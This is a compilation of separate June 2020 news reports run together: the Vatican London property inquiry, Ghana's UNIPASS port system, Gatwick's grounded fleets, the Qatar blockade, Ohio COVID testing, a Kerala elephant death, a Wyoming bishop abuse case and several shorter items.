Its the first arrest in a nearly yearlong investigation into the deal, which has convulsed the Vatican, raised questions about Pope Francis seven-year financial reform effort and exposed Machiavellian turf battles at the Holy See.

In a statement, the Vatican noted that the charges of which Torzi stands accused carry a 12-year prison sentence if hes convicted. The Vatican provided no name or contact information for Torzis attorney, whom it said accompanied him to the interrogation.

Vatican prosecutors are investigating allegations of corruption in the Secretariat of States 2012 purchase of a 150 million euro stake in a luxury residence in London. The Vatican bought the other investors out at the end of 2018, but then realized it had taken on Italian middlemen, including Torzi, who were allegedly fleecing the Holy See of millions of euros in fees, according to officials familiar with the deal.

Torzi was the Vaticans intermediary in the buyout deal and also took strategic decisions for the property, located at 60 Sloan Ave. in Londons tony Chelsea neighbourhood. The Vatican has two signed contracts entrusting Torzi with enormous authority to manage the project, signed by a Vatican official who is also under investigation.

Torzi has not spoken publicly about his position. But the fact that he is now arrested suggests that the Vatican superior who authorized the contracts, the Vatican deputy secretary of state, will also be called to explain why he authorized handing over so much power and money to him.

The scandal burst into public view when Vatican police raided the Secretariat of State and the Vaticans financial watchdog agency on Oct. 1. A half-dozen Vatican officials were suspended but none to date has been charged.

The lack of prosecutions among Vatican staff has suggested that the investigation was sparked by fears within the Vatican hierarchy that the watchdog agency was being too aggressive in rooting out financial malfeasance that could have implicated high-ranking Vatican officials.

The watchdog agency, known as the Financial Information Authority, in fact was already investigating Torzi and others at the time of the Vatican raids to see where the money he earned from the fees ended up. The raids promptly torpedoed the agencys own probe, which began after the deal was completed.
President of the Chamber of Freight forwarders and Trade (CTF), Dennis Amfo-Sefah says any attempt to blame President Akufo-Addo for the current technical hitches the implementation of UNIPASS is experiencing won't hold.

He said just like any other new system, UNIPASS indeed experienced some teething challenges that it was surmounting and it was therefore not reasonable to blame it on the President.

Mr Amfo-Sefah, who was speaking to the Ghana News Agency in Accra on Friday said I can assure you that the claims that we are angry at the President are not true; among us Freight Forwarders, there is no unhappiness towards President Akufo-Addo because we know the truth."

The truth is that people who feel they are losing port management contracts are simply fighting back the smooth take-over of port administration by UNI-PASS; that is the simple truth. These people feel pained about losing the contract to manage the ports and so they have decided not to cooperate.

Mr. Amfo-sefah however failed to name those behind it, saying The people I am referring to know themselves and at the appropriate time everybody will know the real truth.

Some Media outlets since the implementation of the UNIPASS system reported that President Akufo-Addo was becoming unpopular among importers and freight forwarders because of glitches that were bedeviling the new UNI-PASS system.

They attributed the hitches to some senior members of government, who were allegedly responsible for the happenings at the ports for introducing CUPIA Korea and its UNI-PASS system and therefore allegedly orchestrated the abrogation of the contract of GC Net and West Blue to make way for the latter.

However, Dennis Amfo-Sefah pointed out that, Nobody among us is angry with the President or any of his appointees because we know that the mess is not the making of any of them. The arrangement had been for the old operators to slowly back out so that UNI-PASS would slowly take over. This would have led to a seamless integration.

However, the operators of the old system disengaged rather abruptly, leading to the challenges, Mr. Amfo-Sefah said.

According to him, the difficult switch from the old system to the new one was the problem not President Akufo-Addo or his Ministers.

He was however hopeful that the problems would be fixed very soon.

This is the second time that the abrupt disengagement of the old port management system to make way for the new one is causing problems. In early May, a similar disengagement grounded operations at the port for days.

UNI-PASS is a new port clearing system that processes documents and payments through one window. It is a departure from the previous system in which 'valuation and classification' and 'risk management and payment' were handled by different entities.

The single window system is aimed at coordinating all activities at the ports on one platform to reduce time and cost in clearing and exporting goods.

The system, spearheaded by Ghana Link Services Ltd, in collaboration with Customs UNIPASS International Agency (CUPIA) of the Korean Customs Service, the designer of the system, replaces the Pre-Arrival Assessment Report (PAARS) and the Ghana Customs Management System (GCMS) jointly operated by the Customs Division, the Ghana Community Network Services (GCNet) Ltd and West Blue Consulting.

---GNA
Rahul Shrivastava appointed as next Envoy to Romania

New Delhi, Jun 5 (UNI) The government on Friday appointed Rahul Shrivastava, a 1999-batch Indian Foreign Service (IFS) officer, as the next Ambassador of India to Romania.

Presently, he is posted as the Joint Secretary in the Ministry of External Affairs and is expected to take up the assignment shortly, an official statement here said.

Prior to joining the Ministry in 2018, he was the Ambassador to Venezuela from 2016-18.
From a helicopter hovering high above the Surrey countryside, it feels like Im looking down on the biggest, most elaborately laid-out collection of Airfix model planes ever assembled.

Directly below me, eight miniature British Airways jets encircle a hub.

Beside them, dozens more tiny aircraft from the nations flagship carrier are parked in zigzag formation, Union flag tailfins glinting in the sun.

Further along the tarmac apron, the pattern turns bright orange as a flotilla of 50 or more EasyJet shuttles comes into view; beyond them lies a squadron bearing the sky-blue livery of Tui, the countrys foremost package holiday carrier.

Photographed from a helicopter, the standstill at Gatwick is graphically illustrated by whole fleets of aircraft sitting idle around the airport

I counted 114 planes standing idle at Gatwick Airport on Wednesday.

They filled almost every bay at the North Terminal, which has been closed for weeks since the coronavirus pandemic killed off virtually all British air travel.

Mesmerising as it may have looked from 1,000ft up, it was a depressing and deeply worrying scene that symbolises the catastrophe besetting the countrys 106billion tourism industry, and the fears of the 2.6million people whose livelihoods depend on it.

It also encapsulated the disappointment of millions of families still clinging to the hope of an overseas summer break to shake off the misery of lockdown.

My doom-laden impression of the airfield is supported by statistics.

On the first Thursday in June last year, 146,000 passengers thronged through the airport on 889 incoming and outbound flights.

This Thursday, a grand total of 600 people passed through on seven flights  four departures and three arrivals.

At least that was an improvement on last week when, on one day, 23 people landed at the still-open South Terminal.

Within three months Gatwick has turned from the worlds second busiest single-runway airport  its volume of traffic surpassed only by one in Mumbai  into a kind of aviation mausoleum

With the concourses silent, the skies empty and scores of motionless jets, Britains second busiest airport might be renamed Graveyard Gatwick.

Matters might be less dire if the Government could see the imperative of opening up our airways and relaunching the travel industry, albeit with stringent safety measures, like other European nations such as Portugal.

Next week, however, Gatwick  which has borrowed 300million to improve its liquidity, furloughed 90 per cent of its staff and made many others redundant  faces yet another monumental setback.

It is one that could send its hopes of a speedy recovery  and indeed those of every other UK airport  into a tailspin.

On Monday, despite vociferous protests from travel and hospitality bosses and Tory backbenchers, the Government will activate its new hardline quarantine law.

With some exemptions for essential travellers, it will require everyone who enters the country  whether they are Britons returning home or foreign visitors  to self-isolate for 14 days.

Those who disobey face a 1,000 fine.

Leaving aside the fact that it contains so many caveats that it seems unenforceable  checks will be made on the whereabouts of only one in ten incomers, for example  many health experts say the law has little or no scientific merit.

It has come too late, they say, to have any meaningful effect in reducing infection rates.

Indeed, it emerged this week that the Government drew up the two-week quarantine rule without consulting its own scientific advisory group, Sage.

Said to have been forced through on the insistence of Boris Johnsons chief adviser Dominic Cummings, it has reportedly caused a bitter Cabinet split, with the Home Office and Department of Health broadly in favour, but the Treasury and Department for Transport opposed.

A summer-long quarantine rule  relegating air travel from unappealing to intolerable for many  would cost our tourism industry a staggering 19.7billion, according to the Government-funded agency VisitBritain.

On the first Thursday in June last year, 146,000 passengers thronged through the airport on 889 incoming and outbound flights. This Thursday, a grand total of 600 people passed through on seven flights  four departures and three arrivals (file photo)

It would also force the closure of thousands of businesses that are dependent on a healthy flow of tourists and throw hundreds of thousands out of work.

Steven Freudmann, of the Institute of Travel and Tourism, described it as an unmitigated disaster, adding: You might as well put up a sign saying Britain is closed.

Wandering around the ghostly South Terminal this week, it seemed the nations doors had already been bolted.

Gone were all those harassed parents struggling to contain toddlers as they waited to board flights to the Costas.

Gone, too, were the tattooed men downing breakfast pints at Wetherspoons; and the floppy-hatted culture vultures browsing WH Smith.

The car park was empty but for a couple of cast-aside luggage trolleys.

All the shops and cafes, barring Boots, were closed. There were far more staff than passengers. The place was quieter than a cathedral.

On the electronic walkway  silent and stationary  the only people I encountered were a travel assistant pushing an elderly man in a wheelchair.

Through his mask, he told me was returning home to Jersey after being flown to London for emergency heart surgery.

By the end of March, BA  which uses the airport 29 miles south of London as its second hub after Heathrow  had grounded its entire fleet (some of which are pictured top left), laying off thousands of staff. An empty runway is pictured right

Weve only got three flights coming in all day, said the assistant, shaking his head. And compared to some days this is busy. Its eerie, isnt it?

It was. Within three months Gatwick has turned from the worlds second busiest single-runway airport  its volume of traffic surpassed only by one in Mumbai  into a kind of aviation mausoleum.

The sky began to fall in on the airport in the first days of lockdown.

By the end of March, BA  which uses the airport 29 miles south of London as its second hub after Heathrow  had grounded its entire fleet, laying off thousands of staff.

Then Virgin Atlantic suspended its operations and axed a third of its employees. Soon all but a handful of the 50-plus airlines that have slots there ceased to operate.

Ironically, it came just as Gatwicks fortunes were soaring.

Passenger numbers and revenue had been rising, terminals have been upgraded, and more investment had been planned.

Now those plans have been deferred for the foreseeable future, says Gatwick.

Although the airport believes its cost-saving measures should effect a quick recovery after the pandemic, it does not expect passenger numbers to return to their previous level for between three and four years.

And unless the quarantine law is speedily abandoned, the bounce-back will surely take even longer.

In the towns and villages around Gatwick, many are already paying a heavy price for its inertia.

Half a century ago, before cheap foreign package holidays transformed it from a small airfield into a major international hub, life here was almost entirely rural.

Today, it is a thriving community centred on the relatively new town of Crawley.

Dozens of companies  from mighty Boeing to small, independently owned workshops  provide services to the airport.

Their success has fostered the development of high-tech industrial estates such as Manor Royal, where Amazon and Virgin, among many others, have HQs. It has also seen the construction of shopping malls, leisure centres and gleaming office blocks.

But as I saw this week, the area is suffering the ripple effect of Gatwicks demise.

Outside the depot of Alpha LSG, the on-board catering, retail and logistics company, more than a dozen lorries were parked up.

With few aircraft to service there was a similar lack of activity at its rival Gate Gourmet.

Such companies are the lifeblood of a huge, once highly prosperous swathe of southern England.

Were the airport to remain dormant for many more months, the social and economic consequences would be grim.

Matters might be less dire if the Government could see the imperative of opening up our airways and relaunching the travel industry, albeit with stringent safety measures, like other European nations such as Portugal

Alive to the danger, Crawley MP Henry Smith, whose constituency includes Gatwick, is among Tories urging the Government to rethink the new law.

If Gatwick was going to be quarantined they should have introduced this two months ago, at the beginning of lockdown, not just as a lot of restrictions were being lifted, he said.

It doesnt make any sense in health terms and it prolongs the delay in getting the travel industry up and running again.

Mr Smith fears the law, if it continues for months, could result in an entire year of foreign tourism being written off. This would indeed be an unmitigated disaster.

Flying over Graveyard Gatwick, it seemed clear Mr Johnson must hit the reverse-thrust and abort this quarantine law.

Anything less and most of those planes will surely stay grounded.

Meanwhile UK PLC will stay closed for business, sunshine holidays will remain a distant dream, and an industry that creates 10 per cent of our gross domestic product could nosedive into oblivion.
TORONTO, June 05, 2020 (GLOBE NEWSWIRE) -- Montero Mining and Exploration Ltd. (TSX-V: MON or Montero) has seen a decline in battery metal prices over the last 12 months which has been exacerbated by the COVID-19 pandemic and its effect on global economics. For these reasons the board has decided to change the Company focus to that of exploration for gold deposits in Latin America. Monteros board of directors and management have an impressive track record of successfully discovering and advancing precious metal projects.



Monteros Board of Directors also continues to monitor and assess the health and safety risks to Company employees, partners, contractors and local communities in countries where Montero holds assets. Although the Covid 19 pandemic is an evolving crisis, national governments are attempting to provide clear policies and guidelines to mitigate health and safety risk associated with the spread of the COVID-19 virus. Montero believes its best course of action given the global shut down is to relinquish its early stage battery metal projects in Africa and reduce its corporate structure. Montero will retain its Tanzanian corporation and defend its rights to the Wigu Hill rare earth project in Tanzania where it has made a substantial investment. Montero filed a Notice of Intent to Submit a Claim to Arbitration to the Attorney General of Tanzania on 17th January, 2020 to protect its investment. Montero will now adopt a one country gold exploration focus on Latin America and will provide regular updates.

About Montero



Montero is a junior exploration company focused on finding, exploring and advancing globally significant gold deposits in Latin America. The Company is in the process of relinquishing its portfolio of battery metal projects in Africa to focus on gold opportunities in Latin America. Monteros board of directors and management have an impressive track record of successfully discovering and advancing precious metal projects. Montero trades on the TSX Venture Exchange under the symbol MON and has 21,880,818 shares outstanding.



For more information, contact:

Montero Mining and Exploration Ltd.

Dr. Tony Harwood, President and Chief Executive Officer

E-mail: ir@monteromining.com

Tel: +1 416 840 9197

www.monteromining.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking information" within the meaning of applicable Canadian securities laws. Forward-looking information includes, but is not limited to, statements, projections and estimates. Generally, forward-looking information can be identified by the use of forward-looking terminology such as plans, expects or does not expect, is expected, budget, scheduled, estimates, forecasts, intends, anticipates or does not anticipate, or believes, or variations of such words and phrases or state that certain actions, events or results may, could, would, might or will be taken, occur or be achieved. Such information is based on information currently available to Montero and Montero provides no assurance that actual results will meet management's expectations. Forward-looking information by its very nature involves inherent risks and uncertainties that may cause the actual results, level of activity, performance, or achievements of Montero to be materially different from those expressed or implied by such forward-looking information. Actual results relating to, among other things, results of exploration, project development, reclamation and capital costs of Monteros mineral properties, and financial condition and prospects, could differ materially from those currently anticipated in such statements for many reasons such as: changes in general economic conditions and conditions in the financial markets; changes in demand and prices for minerals; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; technological and operational difficulties encountered in connection with Monteros activities; and other matters discussed in this news release and in filings made with securities regulators. This list is not exhaustive of the factors that may affect any of Monteros forward-looking statements. These and other factors should be considered carefully and accordingly, readers should not place undue reliance on forward-looking information. Montero does not undertake to update any forward-looking information, except in accordance with applicable securities laws.




The police in Lagos on Friday said they have arrested a man seen in a video kissing a three-year-old girl.

Bala Elkana, the Lagos police spokesperson said the suspect was arrested through the concerted efforts of well-meaning Nigerians and detectives from its gender unit.

The suspect was declared wanted on Wednesday after a video went viral in which he was seen kissing the little girl inappropriately.

The video was circulated amidst a nationwide outcry against rape, following an incident in which a student, Vera Omozuma, was assaulted in a church in Benin. Omozuma died days after the attack.

Another student, Barakat Bellowho, was also raped and killed near her home.

Following the outrage on social media over the video showing the three-year-old girl being violated, the police declared him wanted.

Mr Elkana said the suspect, Adeyeye Babatunde, a final year student of Botany Department, Lagos State University, is in custody and had been handed over to the State Criminal Investigation Department, Yaba, for prosecution.

Attention of Lagos State Police Command was drawn to a viral video showing one Adeyeye Oluwatosin Babatunde m of Kajola Street, Shagamu, Ogun State, a Botany student of Lagos State University, kissing his three years old step sister (name withheld). The incident happened on 02/6/2020 in their residence at Shagamu.

The Commissioner of Police Lagos State, CP Hakeem Odumosu psc tasked detectives from the Gender Unit to analyse the video and apprehend the suspect. The team got the suspect on 5/6/2020 at about 1100 hours. He is handed over to the State Criminal Investigation Department, Yaba for diligent prosecution in Court, Mr Elkana said in the statement.

In a video shared by Mr Elkana, the suspect said the incipient happened around 8 p.m. at their residence, while their father and neighbours were present.

I was sitting outside with my sister, we were playing outside in public. While my Daddy was sitting beside me, my neighbours and we were playing.

I did a video with the girl, me kissing her with no bad intentions. After I did the video, I uploaded on my WhatsApp status and a lady messaged me that Im a rapist.

I was like, this is not the first time of me posting this baby girl and you know her very well. She blocked me immediately, she recorded it and posted it on her WhatsApp status and social media, the suspect narrated.

Mr Babatunde further narrated that he did a video apologising to Nigerians for what he did.

I am really sorry, I didnt know it will be this bad, because of the relationship between me and my sister, he said.

The command urged citizens to continue to speak out against sexual and gender-based violence and help the police put an end to rape, child abuse and crime against women and children.
A breakdown of the diplomatic crisis and what it has meant for the region.

Three years since four Arab countries imposed a blockade on Qatar, little progress has been made towards a resolution.

Here we answer your questions about the ongoing crisis.

How did it all start?

Fake news. On May 23, Qatar woke up to news of a hack attributing false statements to the emir of Qatar.

The fake news was aired on several UAE and Saudi-owned networks in the Gulf, sparking a diplomatic breakdown.

The incident came just two days after President Donald Trump met Gulf Arab leaders in Riyadh.

On May 24, authorities in Saudi Arabia and the UAE also blocked Al Jazeeras website.

Diplomatic relations. On June 5 early morning, the Ministry of Foreign Affairs in Bahrain, Saudi Arabia, the UAE and Egypt issued statements announcing the severing of diplomatic relations with Qatar.

Saudi Arabia then shut its land borders with Qatar, and together with three other countries imposed a land, sea, and air embargo on Qatar.

On June 7, Jordan also announced that it would scale back its diplomatic ties with Qatar and shut down the Al Jazeera bureau in Amman.

Why did these countries cut ties with Qatar?

The four countries have claimed that Qatar works to support terrorism, maintains cordial relations with Iran and meddles in the internal affairs of their countries.

What was Qatars response?

The Ministry of Foreign Affairs of Qatar responded to the initial announcements by saying that there was no legitimate justification for the actions taken by the four countries to sever diplomatic relations. It added that the decision was a violation of its sovereignty and that it would work to ensure that it would not affect the citizens and residents of Qatar.

Throughout, Qatar has strongly rejected the accusations levelled against it, viewing the campaign as an attempt to impose custodianship over the tiny nation.

Both the emir of Qatar and the countrys foreign minister have reiterated that Qatar is willing to negotiate with the boycotting countries, and have welcomed calls from international leaders for the parties to sit down around a table.

The countries who imposed the blockade on the state of Qatar interfere in the internal affairs of many countries, and accuse all those who oppose them domestically and abroad with terrorism. By doing so, they are inflicting damage on the war on terror, Qatari Emir Sheikh Tamim bin Hamad Al Thani said in a speech to the UN General Assembly in September. We have refused to yield to dictations by pressure and siege.

READ MORE: Who is Qatars emir?

What are the roots of this conflict?

There was a previous diplomatic rift in 2014 between Qatar and other Gulf countries. Saudi Arabia, the UAE and Bahrain pulled out their diplomats, claiming that Qatar supported armed groups. However, the border remained open and Qataris were not expelled.

Tensions with Qatar have generally revolved around its alleged support for political Islamic movements, such as the Muslim Brotherhood, as well as complaints about the Al Jazeera Media Network, which is based in Doha.

These tensions were possibly exacerbated by the Arab Spring in 2011, when Saudi Arabia and Qatar were seen as backing different sides.

On June 7, the Saudi foreign minister said that Qatar must cease its support of groups such as Hamas and the Muslim Brotherhood.

We want to see Qatar implement the promises it made a few years back with regard to its support of extremist groups, to its hostile media and interference in affairs of other countries, Saudi Arabias Foreign Minister Adel al-Jubeir told reporters in Paris in June.

What did the cutting of ties entail?

The severing of ties as a diplomatic concept usually entails a recall of diplomatic representatives and the closing of diplomatic missions by the country that is taking the step. The country initiating the move can also ask the diplomatic representatives of the other party to leave their country. This is usually utilised by governments at times of serious complications in relations between states.

OPINION: The GCC will ride out the storm

In the case of the current Gulf crisis, several other dimensions have been added. Bahrain and Egypt both gave Qatari embassies 48 hours to implement their respective departure orders, while recalling their own diplomats and charge daffaires.

The UAE and Saudi Arabia gave Qatari citizens who were residents in or visiting the UAE two weeks to depart and ordered their citizens in Qatar to return.

Saudi Arabia went further, withdrawing Qatari troops from the Saudi-led war in Yemen.

Saudi Arabia, the UAE, Bahrain and Egypt have also closed land, air and sea passage to all vessels and vehicles coming from or going to Qatar.

The blockade has disrupted business, education and transport links among Qatar and its neighbours, while also tearing apart families whose members held different passports. By mid-September, Qatars National Human Rights Committee had received 3,346 complaints, 620 of which were from families affected by the measures.





Which countries severed ties with Qatar?

Four countries have imposed a land, sea and air blockade on Qatar:

Bahrain

UAE

Saudi Arabia

Egypt

Saudi Arabia had also called on brotherly countries to cut their diplomatic relations with Qatar. Five countries followed suit:

Yemen

Eastern government of Libya

Maldives

Mauritania

Comoros

Senegal had also cut relations with Qatar but later returned its ambassador to Qatar.

The following four countries did not cut diplomatic relations with Qatar but have downgraded them:

Jordan

Djibouti

Chad

Niger

Despite the 13 countries who have cut or severed relations with Qatar, there are over 89 diplomatic missions still open and operating in Qatar, and 34 countries that maintain their diplomatic relations via a regional accredited embassy.

Correction: An earlier version of this graphic incorrectly stated that Eritrea severed ties with Qatar. Eritrea denies this. pic.twitter.com/3qkTdN4tqP  Al Jazeera English (@AJEnglish) June 29, 2017

Is Israel involved?

At the beginning of the crisis, Israel Defence Minister Avigdor Lieberman said the split between the Gulf countries opens possibilities for cooperation in the battle against terrorism as it shows that even in the Arab states they understand that the danger is not Zionism, but terrorism.

In an interview with Sputniks news agency on December 4, Qatars Ambassador to Moscow Fahad bin Mohammed Al Attiyah said that Israel is the primary beneficiary of the Gulf crisis.

How is the Trump administration involved?

The GCC rift followed US President Donald Trumps visit to Saudi Arabia in May, where he met leaders of the Arab world. The night before Trumps visit, the former US defence secretary, Robert Gates, offered a scathing assault on Qatar, criticising its support for Islamists.

The speech was delivered at a high-profile Washington conference, where Gates said: Tell Qatar to choose sides or we will change the nature of the relationship, to include downscaling the base.

After the dispute, the White House stated that Trump wanted to help sort out the diplomatic rift.

Is the GCC going to survive?

Kuwaits emir has been mediating between the GCC countries involved in the current dispute. According to Giorgio Cafiero of Gulf State Analytics, a geopolitical risk consultancy based in Washington, both Kuwaitis and Omanis believe that an escalation of the conflict could be detrimental to the future of the GCC.

Who is mediating the crisis?

Kuwaits emir has been an active mediator from the beginning of the crisis, travelling from one Gulf capital to the next in an attempt to bridge the gap between the blockading countries and Qatar.

Several world leaders have called for the parties to this dispute to begin a process of negotiations in order to end the stalemate. Diplomatic efforts have abounded, including by Turkish President Recep Tayyip Erdogan, Russian Foreign Minister Sergey Lavrov, US Secretary of State Rex Tillerson and French President Emmanuel Macron, who has appointed a special envoy to address the crisis.

What are the economic consequences for Qatar?

With Qatars estimated $335bn of assets in its sovereign wealth fund, along with its newly expanded port that allows it to continue exporting natural gas and importing sea goods, the small Gulf nation appears poised to weather the sanctions.

Due to their heavy reliance on oil and gas exports, the GCC states maintain weak trade and investment ties with each other, limiting the economic effects of their dispute.

Are flight routes affected?

Qatar Airways flights initially had to take an easterly route to fly only over airspace that was open to them.

However, in August, the International Civil Aviation Organization approved some new routes for Qatar Airways that would allow it to cut through Emirati and Bahraini airspace. This was based on an application presented by Qatar to the international aviation body.

According to Alan Peaford, editor-in-chief of Aerospace Magazine, Qatar Airways flight routes would be the most disrupted if Gulf airspaces were closed off. He noted that there were two main air routes in and out of Qatar  over Saudi Arabia and Bahrain, with the latter controlling most of the Gulf airspace. The real problem would be if airspace closes. Not just for Qatar Airways passengers, but also for cargo, like food and fresh fruit that is flown into the country.
COLUMBUS, OH  Ohio is working with retail pharmacies to expand coronavirus testing capacity within the state. CVS, Kroger, Walgreens, Walmart and Rite Aid are all partnering with Ohio officials, Gov. Mike DeWine said Friday.

With expanded testing criteria, our partnerships with these retailers, and our partnerships with community health centers are more important than ever.



Ohio's COVID-19 website now boasts a section titled "Testing and Community Health Centers," which includes a list of retail stores offering COVID-19 testing. There are more than 40 retail sites offering testing statewide.

Don't miss the latest updates from health and government officials in Ohio on the coronavirus. Sign up for Patch newsletters and news alerts.



"The testing site map also includes a list of Community Health Centers also known as Federally Qualified Health Centers. These centers are places where people who may not have a primary care provider can call to get more information about where to get tested," DeWine said Friday.



Friday's Numbers

There were 476 new COVID-19 cases confirmed in Ohio on Friday. Since the start of the outbreak, nearly 38,000 Ohioans have contracted the virus.

Here are Friday's COVID-19 numbers:

New cases: 476

Deaths: 16

Hospitalizations: 73

Intensive care admissions: 9

Over the past three weeks, Ohio has averaged 514 new cases per day, 37 COVID-19 deaths per day, 76 COVID-19-related hospitalizations and 17 intensive care admissions per day.

This article originally appeared on the Cleveland Patch
A Satish By

Express News Service

PALAKKAD: Three agonising days in knee-deep water and then a heart-rending death.

The passing away of the pregnant wild elephant in the Veliyar stream after crackers meant to snare wild animals exploded in its mouth has highlighted the lack of adequate field staff in the state forest department as well as the need to deploy enough informants along the forest fringes to provide timely alerts about illegal activities.

This has been even more starkly underlined after Dr David Abraham, veterinary surgeon who conducted the post mortem of the pregnant wild elephant, made a disturbing observation.

ALSO READ | Rajasthan mahouts pay special tribute to pregnant elephant killed in Kerala

Forest personnel and locals might have first sighted the elephant on May 23. But Dr Abraham says she must have been injured at least a fortnight before that.

"We came to this conclusion based on the large size of the maggots (worms) seen in the wounds. We are, however, still not sure about what she had eaten," he said.

Dr Abraham said the firecrackers or explosives were not lethal.

"Or else the face of the pachyderm would have blown off. Here, the upper jaw and lower jaw had been damaged badly and the tongue had been infested with worms. Moreover, there was no blood which showed that the wound was old," he said.

ALSO READ | Farmer arrested in connection with Kerala elephant death

The veterinary surgeon said the elephant had been found standing in knee-deep water. "She had not eaten for more than two weeks. She was pale and weak," he said.

Right from the moment he set eyes on the elephant, the prognosis was bad. "The chances of its survival were remote as it is impossible to treat major wounds even when they are from a dart. The wounds had turned septic and the animal had been starving for many days. It collapsed in the water of the Veliyar stream while being driven to the banks by the kumki elephants," Dr Abraham recounted.

But could the tragedy have been avoided if the elephant had been spotted early and received early treatment?

Dr PS Easa, former director of the Kerala Forest Research Institute (KFRI), Peechi and member of the IUCN (International Union for Conservation of Nature) Asian Elephants Specialists Group (AsESG) had a suggestion to address such costly delays.

"In the past, both the excise department and the forest department deployed informants in almost all forest areas to snoop on illicit hooch brewers, ganja cultivators and poachers. However, over the years, their numbers have dwindled. The intelligence network needs to be strengthened. It is only based on these reliable inputs that forest personnel can act effectively," he said.

S Guruvayurappan, project officer of the Wildlife Protection Society of India (South India), added his two cents. "The Vana Samrakshana Samithis (Eco Development Committees) need to be strengthened and farmers need to be dissuaded from cultivating fruits on the forest fringes which attract wild animals. Moreover, conservation can only be successful if the locals are taken into confidence. Since it is a joint investigation by the police and the forest department, we hope justice will be ensured, " he said.

ALSO READ | People across world sign 927 petitions, seek justice for pregnant elephant killed in Kerala

Pramod Krishnan, Conservator of Forests (Wildlife) (Eastern circle) spoke of a few strides in the right direction.

Usually when there is an incident of this type like a major injury, the wild animal has to be immobilised before it can be treated. We have now trained three kumki elephants which are in Palakkad to drive away wild elephants when they enter the plains from the forests. Earlier, kumkis had to be brought from Tamil Nadu. There are kumki elephants in Wayanad also. We have initiated massive combing operations from Thursday in the fringe areas of the forests to detect the presence of any explosives," he said.

Dr Arun Sakaria, senior veterinary surgeon, highlighted the need to change the outlook of people towards the protection of wildlife.

He also spoke of the kumki elephants in Wayanad that Pramod Krishnan had touched upon. "We have trained eleven kumki elephants in Wayanad and we also have two lorries to transport any wild elephants that have strayed across, he said.

But then even the presence of kumki elephants by themselves cannot always help as was seen in the case of the pregnant wild elephant.

The first action of forest watchers when they see a wild elephant is to chase it back into the forests. However, when they tried to do so with kumki elephants in the case of the pregnant wild female elephant, she could not move and collapsed. Moreover, even if the animal had to be treated, it could be done only in the forests as the locals will not allow it to be done in the plains as they consider it to be a crop raider," said Pradeep, an elephant enthusiast.

The answers then are still being sought. Meanwhile, what remains are the raw emotions a true tragedy has evoked.

ALSO SEE:
The criminal investigation into sexual abuse by members of the Catholic clergy in Wyoming passed its second birthday in April, a prolonged process with no end in sight that has shattered an alleged victims familys belief in the criminal justice system.

In August, Cheyenne police recommended that retired bishop Joseph Hart, the highest-ranking member of the Catholic church in Wyoming for 25 years, be charged with sexual abuse. The investigation and the documents detailing the allegations were then turned over to Natrona County District Attorney Dan Itzen, who will serve as special prosecutor should charges be filed because of a conflict of interest in the prosecutors office in Cheyenne.

But nothing has happened since. Itzen has repeatedly declined to comment. Cheyenne police said late last year that Itzen had passed the investigation back to them for some further work, but a police spokesman told the Star-Tribune that Itzen now has the case back.

We thought things wouldve moved by now, then-Cheyenne police spokesman Kevin Malatesta said in November.

I honestly have no answer for you, current spokesman David Inman said when asked why nothing had happened with the investigation. The case is in (prosecutors) hands now. You can try to have their D.A. contact me if youd like, but there is no answer I or detectives can give you as to why it is being held up.

Messages sent to Itzen this week were not returned.

Cheyenne Police launched an initial investigation in April 2018, after the Diocese of Cheyenne began an independent inquiry into Hart. The stagnation has frustrated one of the alleged victims and his family.

Day after day we wait to hear from the Natrona County District Attorneys Office regarding the criminal prosecution into Joseph Hart, a relative of the alleged victim told the Star-Tribune. We have struggled to remain patient. As a family we have been further victimized by the lack of response from the prosecutor.

The relative added their belief in the system has been shattered.

Hart has been dogged by accusations of sexual abuse for roughly 30 years, stretching beyond his time as the head of the Catholic flock in Wyoming and through his prior 20 years as a priest in Missouri. At least six men have accused Hart of sexually abusing them in Wyoming, and the Diocese of Kansas City-St. Joseph has settled lawsuits with several more alleged victims.

Hart has consistently denied the accusations. An email sent earlier this week to his lawyer was not returned. The attorney, Tom Jubin, has not returned messages sent by the Star-Tribune over the past several months.

In 2002, an accuser came forward to say Hart had abused him in the 1970s. After a swift investigation, that inquiry was closed and deemed unfounded. The victim has maintained that he stopped responding to police investigators because of how they treated him.

In July 2018, the Cheyenne diocese called that criminal investigation flawed. The Wyoming church had opened its own inquiry in late 2017, under the guidance of Bishop Steven Biegler. That July, the diocese announced it had concluded that Hart had abused two boys in Wyoming several decades ago; since then, four more men have come forward and had their claims deemed credible by church officials.

During its independent inquiry, the church reached out to Cheyenne police, who began investigating. That police inquiry lasted for 16 months, concluding in August with the agency recommending charges against two men. In response to a Star-Tribune public records request, the top prosecutor in Cheyenne confirmed that Hart was one of those men.

Despite repeated allegations and court settlements, little was done about Hart for years. The 2002 investigation was closed, and Harts predecessor, David Ricken, took no action at all related to the retired bishop. Bieglers predecessor, Paul Etienne, asked the Vatican to investigate in 2010; its unclear what became of that investigation. Spokesmen for both men  who still serve in high-ranking roles in the church  declined to comment last year about whether either regretted their handling of Hart.

The churchs recent investigation has apparently sparked action at the Vatican. Church leaders are apparently undertaking their own investigation and trial of Hart within the organization. The status of that process is unknown; previous requests sent to the Vatican seeking comment have not been returned.

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As countries around the world start flying again, the International Federation of Air Line Pilots' Associations (IFALPA) and the International Transport Workers' Federation (ITF) have demanded that aviation regulators and employers fully address health, safety and security concerns before they re-open their borders to air services and take to the skies.

The COVID-19 pandemic had a profound effect on the global aviation industry, virtually grounding all international and national air travel.

In order to ensure crew and passenger safety as flights restart, IFALPA and ITF today release a paper outlining key considerations that need to be addressed for safe return and guidance on what measures need to be implemented on aircraft in order to ensure this happens.

The organisations called for the return to full operations to be led by current public health advice and robust risk assessments, with crew and passengers assured that standards are universal regardless of which airline they are flying on.

IFALPA and ITF called on regulators and employers to address the following key areas:

The provision of adequate and appropriate personal protective equipment for both passengers and crew

Safety risk assessments are undertaken by independent experts with worker representation

Crew members and airport workers are provided access to reliable and efficient COVID-19 testing and contact tracing.

The International Civil Aviation Organization (ICAO) was viewed as the most appropriate authority to independently assess and address this challenge.

Captain Jack Netskar, IFALPA President said: "It is vitally important that all aviation workers are confident that every possible measure has been put in place to ensure their workplace is safe. It's time to provide the same safeguards in the air that we would expect on the ground."

